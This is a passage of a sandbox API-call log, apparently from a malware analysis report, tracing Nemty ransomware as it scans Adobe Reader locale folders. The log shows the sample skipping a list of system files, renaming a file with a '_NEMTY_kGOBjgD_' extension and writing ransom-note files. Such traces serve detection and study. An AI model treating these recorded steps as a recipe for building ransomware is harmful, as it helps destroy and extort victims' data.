lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.922] CloseHandle (hObject=0x2e8) returned 1 [0176.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.923] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo._nemty_kgobjgd_")) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.923] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd1a550, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1cd1a550, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cd1a550, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0176.923] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0176.924] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0176.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0176.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0176.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.925] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd1a550, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1cd1a550, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1cd1a550, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0176.925] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0176.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0176.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0176.925] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2=".") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="..") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="...") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="windows") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="$RECYCLE.BIN") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="rsa") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="NTDETECT.COM") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="ntldr") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="MSDOS.SYS") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="IO.SYS") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="boot.ini") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="boot.ini") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="AUTOEXEC.BAT") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="ntuser.dat") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="desktop.ini") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="CONFIG.SYS") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="RECYCLER") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="BOOTSECT.BAK") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="bootmgr") returned 1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="programdata") returned -1 [0176.925] lstrcmpiW (lpString1="fr_FR", lpString2="appdata") returned 1 [0176.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr_FR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr_FR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fr_FR", lpUsedDefaultChar=0x0) returned 5 [0176.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr_FR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fr_FR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fr_FR", lpUsedDefaultChar=0x0) returned 5 [0176.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0176.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0176.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0176.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0176.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0176.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0176.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0176.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0176.928] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.929] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0176.929] CloseHandle (hObject=0x254) returned 1 [0176.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0176.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0176.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0176.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0176.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0176.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0176.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.931] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.931] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0176.931] CloseHandle (hObject=0x254) returned 1 [0176.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.931] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d190e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d190e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0176.932] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0176.932] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d190e90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d190e90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0176.932] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0176.932] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0176.932] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2=".") returned 1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="..") returned 1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="...") returned 1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="windows") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="$RECYCLE.BIN") returned 1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="rsa") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="NTDETECT.COM") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="ntldr") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="MSDOS.SYS") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="IO.SYS") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="boot.ini") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="boot.ini") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="AUTOEXEC.BAT") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="ntuser.dat") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="desktop.ini") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="CONFIG.SYS") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="RECYCLER") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="BOOTSECT.BAK") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="bootmgr") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="programdata") returned -1 [0176.932] lstrcmpiW (lpString1="accessibility.FRA", lpString2="appdata") returned -1 [0176.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.FRA", lpUsedDefaultChar=0x0) returned 17 [0176.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0176.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.FRA", lpUsedDefaultChar=0x0) returned 17 [0176.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0176.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.933] 